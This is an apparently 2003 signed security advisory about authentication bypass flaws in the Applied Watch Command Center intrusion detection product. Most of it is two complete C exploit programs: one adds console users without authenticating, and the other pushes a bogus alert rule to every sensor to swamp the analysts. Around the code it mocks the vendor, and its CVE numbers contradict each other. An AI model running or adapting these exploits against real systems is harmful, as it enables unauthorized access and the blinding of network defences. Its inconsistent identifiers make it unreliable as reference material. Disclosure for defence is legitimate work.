-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Bugtraq Security Systems, Incorporated www.bugtraq.org Security Advisory Advisory Name: Multiple Issues in Applied Watch Command Center Release Date: 11/27/2003 Application: Applied Watch Platform: Linux (IA32) Linux (sparc) Linux (sparc64) Linux (hppa) Linux (ppc) Linux (xbox) Linux (IA64) SUN Solaris (IA32) SUN Solaris (sparc) SUN Solaris (sparc64) OpenBSD (386) HPUX (hppa) HPUX (IA64) Compaq True64 Microsoft Windows NT (Alpha) Microsoft Windows NT (IA32) Severity: Secure protocol implementation weaknesses, allows for authentication bypass and compromise of IDS nodes. Author: The Bugtraq Team, Collectively [bugtraq@bugtraq.org] Vendor Status: Patches pending. CVE Candidate: CAN-2003-0970 - Authentication Bypass to Add IDS Rules CAN-2003-0971 - Authentication Bypass to Add Users Reference: www.bugtraq.org/advisories/_BSSADV-0000.txt Overview: The Applied Watch Command Center boasts the industry's first truly OS-native platform for managing network threats in real-time. It frees users from the unreliable, more difficult, and less-secure Web-based monitoring enviornment of Snort IDS sensors. From a central, desktop console Supporting Mac, Linux, Unix, and Windows, thousands of IDS agents and the server can be monitored. The Command Center gives you these benefits: 1. Interprets alerts generated by third-party solutions, parsing the alerts into high, medium, and low priority; 2. Allows you to identify false positives; 3. Lets you store notes on events to prevent duplication of effort, saving valuable man-hours; 4. Provides greater security with an OS-native, desktop console; 5. Lets you avoid the high cost of Security Information Management Systems (SIMs); and 6. Reduces your IDS cost of ownership. It should also be noted that the lead developer of this system is named Jason Ish, who is a member of the core OpenBSD development team and is therefor a security expert. He has a son named Theo, named after the great pioneer of proactive security, Theo Deraadt. There exist a number of vulnerabilities in the various components of the Applied Watch software suite; this advisory being the first of many to come regarding the various logic-related security vulnerabilities in the software. After all such problems are eliminated from the codebase, we will begin releasing another set of advisories concerning multiple instances in the code that allow for the remote execution of arbitrary code throughout the various components of this system. Details: [1] Adding a User Using the attached program, appliedsnatch.c, a malicious individual on a network protected by the Applied Watch Solution can add new users to a console, without having to authenticate to the system. - --- begin appliedsnatch.c --- #include #include #include #include #include #include #include #include #include #define PUT_UINT32(i, val)\ {\ buf[(i) ++] = ((val) >> 24) & 0xff;\ buf[(i) ++] = ((val) >> 16) & 0xff;\ buf[(i) ++] = ((val) >> 8) & 0xff;\ buf[(i) ++] = (val) & 0xff;\ } int main(int argc, char *argv[]) { unsigned char *buf; unsigned int idx, i; size_t userlen, passlen, buflen, lenidx; int sock; struct sockaddr_in sin; unsigned char respbuf[28]; ssize_t n; SSL_CTX *sslctx; SSL *ssl; if (argc != 5) { fprintf(stderr, "usage: %s \n", argv[0]); exit(1); } userlen = strlen(argv[3]); passlen = strlen(argv[4]); buf = malloc(buflen = 12 + 4 + userlen + 4 + 4 + passlen + 4 + 4 + 4); memset(buf, 0, buflen); idx = 0; PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */ PUT_UINT32(idx, 0x6a); lenidx = idx; PUT_UINT32(idx, 0xf00fc7c8); //PUT_UINT32(idx, 0); /* uncomment for other protocol ver */ PUT_UINT32(idx, userlen); memcpy(&buf[idx], argv[3], userlen); idx += userlen; idx |= 3; idx ++; PUT_UINT32(idx, passlen); memcpy(&buf[idx], argv[4], passlen); idx += passlen; idx |= 3; idx ++; PUT_UINT32(idx, 0x1); PUT_UINT32(idx, 0x1); PUT_UINT32(lenidx, idx); printf("connecting\n"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1) { struct hostent *he; if ((he = gethostbyname(argv[1])) == NULL) { perror("gethostbyname()"); exit(1); } memcpy(&sin.sin_addr, he->h_addr, 4); } sock = socket(AF_INET, SOCK_STREAM, 0); if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } printf("doing ssl handshake\n"); SSL_load_error_strings(); SSL_library_init(); if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr, "SSL_CTX_new()\n"); exit(1); } if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n"); exit(1); } if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1); } if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); } printf("sending %u bytes:\n", idx); for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]); if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); } printf("\nreading:\n"); i = 0; while (i < sizeof(respbuf)) { if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) { perror("read()"); exit(1); } i -= n; } for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]); printf("\n"); printf("adding user \"%s\" with password \"%s\" %s\n", argv[3], argv[4], (memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed"); SSL_shutdown(ssl); close(sock); return 0; } - --- end appliedsnatch.c --- [2] Adding a Rule Using the second attached program, addrule.c, a malicious individual can introduce custom IDS alerts to all sensor nodes on a network, allowing a human denial-of-service attack against the security experts monitoring the console. This is a valid technique for subverting intrusion detection systems. This is also a demonstration of the "sometimes good packets look like bad packets, while bad packets go unnoticed by the intrusion detection system" concept. - --- begin addrule.c --- #include #include #include #include #include #include #include #include #include #define PUT_UINT32(i, val)\ {\ buf[(i) ++] = ((val) >> 24) & 0xff;\ buf[(i) ++] = ((val) >> 16) & 0xff;\ buf[(i) ++] = ((val) >> 8) & 0xff;\ buf[(i) ++] = (val) & 0xff;\ } int main(int argc, char *argv[]) { unsigned char *buf; unsigned int idx, i; size_t rulelen, buflen, lenidx; int sock; struct sockaddr_in sin; unsigned char respbuf[28]; ssize_t n; SSL_CTX *sslctx; SSL *ssl; unsigned char *ruleset = "alert tcp any any -> any any (msg: \"*GOBBLE* *GOBBLE* *GOBBLE* *GOBBLE* \\:PpppppPPppppppPPPPPPpppp\";)"; if (argc != 3) { fprintf(stderr, "usage: %s \n", argv[0]); exit(1); } rulelen = strlen(ruleset); buf = malloc(buflen = 12 + 4 + 4 + 4 + rulelen + 4); memset(buf, 0, buflen); idx = 0; PUT_UINT32(idx, 0xbabe0001); /* 0xbabe0002 for other protocol ver */ PUT_UINT32(idx, 0x6f); lenidx = idx; PUT_UINT32(idx, 0xf00fc7c8); //PUT_UINT32(idx, 0); /* uncomment for other protocol ver */ PUT_UINT32(idx, 0); PUT_UINT32(idx, 1); PUT_UINT32(idx, rulelen); memcpy(&buf[idx], ruleset, rulelen); idx += rulelen; idx |= 3; idx ++; PUT_UINT32(lenidx, idx); printf("connecting\n"); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2])); if ((sin.sin_addr.s_addr = inet_addr(argv[1])) == -1) { struct hostent *he; if ((he = gethostbyname(argv[1])) == NULL) { perror("gethostbyname()"); exit(1); } memcpy(&sin.sin_addr, he->h_addr, 4); } sock = socket(AF_INET, SOCK_STREAM, 0); if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) { perror("connect()"); exit(1); } printf("doing ssl handshake\n"); SSL_load_error_strings(); SSL_library_init(); if ((sslctx = SSL_CTX_new(SSLv23_client_method())) == NULL) { fprintf(stderr, "SSL_CTX_new()\n"); exit(1); } if ((ssl = SSL_new(sslctx)) == NULL) { fprintf(stderr, "SSL_new()\n"); exit(1); } if (SSL_set_fd(ssl, sock) != 1) { fprintf(stderr, "SSL_set_fd()\n"); exit(1); } if (SSL_connect(ssl) != 1) { fprintf(stderr, "SSL_connect()\n"); exit(1); } printf("sending %u bytes:\n", idx); for (i = 0; i < idx; i ++) printf("%.2x ", buf[i]); if (SSL_write(ssl, buf, idx) != idx) { perror("write()"); exit(1); } printf("\nreading:\n"); i = 0; while (i < sizeof(respbuf)) { if ((n = SSL_read(ssl, &respbuf[i], sizeof(respbuf) - i)) < 0) { perror("read()"); exit(1); } i -= n; } for (i = 0; i < sizeof(respbuf); i ++) printf("%.2x ", respbuf[i]); printf("\n"); printf("adding nasty ruleset %s\n", (memcmp(&respbuf[16], "\x00\x00\x00\x00", 4) == 0)? "succeeded" : "failed"); SSL_shutdown(ssl); close(sock); return 0; } - --- end addrule.c --- Vendor Response: Bugtraq Security have attempted to contact the vendor multiple times since the discovery of these vulnerabilities without success. A public statement issued by the founder of the company, Eric Hines, helps us understand why the company was unavailable for comment at the time: "You've got to realize that these people are walking around with exploits that vendors haven't even heard of yet. They're pissed and they've got this almost God-like power that enables them to break into any network that they want," Hines said. He reported that FateLabs.com was knocked offline last week by a denial-of-service attack immediately after the security firm published an advisory about a security bug. We expect that once their network recovers from said incident, that they will issue binary patches to both their clients and help reduce the threat of compromise against those networks. Undoubtably they are aware of these vulnerabilities already, and were hoping they would be brought to public attention as, according to their website, they are "soldiers for full disclosure". ThreatCon: The release of this information and exploits increases the Global ThreatCon Level to a record-breaking index of 9/13 (more dangerous than normal) level. We hope that Applied Watch will release their patches soon so that the ThreatCon can be lowered to a more reasonable level. If you have any questions regarding the Global ThreatCon, please visit http://www.bugtraq.org/threatcon.html Recommendation: If the security of your network is required, then Fatelabs / AppliedWatch products should be removed or disabled on the host in question. If it is not required, enterprises should deploy vendor patches for the above vulnerabilities when they become available. In addition, enterprises should look to remove all default services if not required in production systems or adequately protect those that are required and undertake other obvious security measures. Common Vulnerabilities and Exposures (CVE) Information: The Common Vulnerabilities and Exposures (CVE) project has assigned the following names to these issues. These are candidates for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. CAN-2003-0960 - Logical error in Applied Watch Console allowing user-adds CAN-2003-0961 - Logical error in Applied Watch Nodes allowing rule-adds Bugtraq Security Systems Vulnerability Reporting Policy: http://www.bugtraq.org/research/policy/ Bugtraq Security Systems Advisory Archive: http://www.bugtraq.org/advisories.html Bugtraq Security Systems PGP Key: http://www.bugtraq.org/pgp_key.asc Bugtraq Security Systems is currently seeking application security experts to fill several consulting positions. Applicants should have strong application development skills and be able to perform application security design reviews, code reviews, and application penetration testing. Please send resumes to jobs@bugtraq.org Copyright 2003 Bugtraq Security Systems. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE/xqQad3IqHnpF3voRAk2vAJ9a7JgZ8p/FRCdgN/qjqYMEyYnj+QCgkGor vYwTicr3iCtfdrbxc0eeocY= =GAEl -----END PGP SIGNATURE-----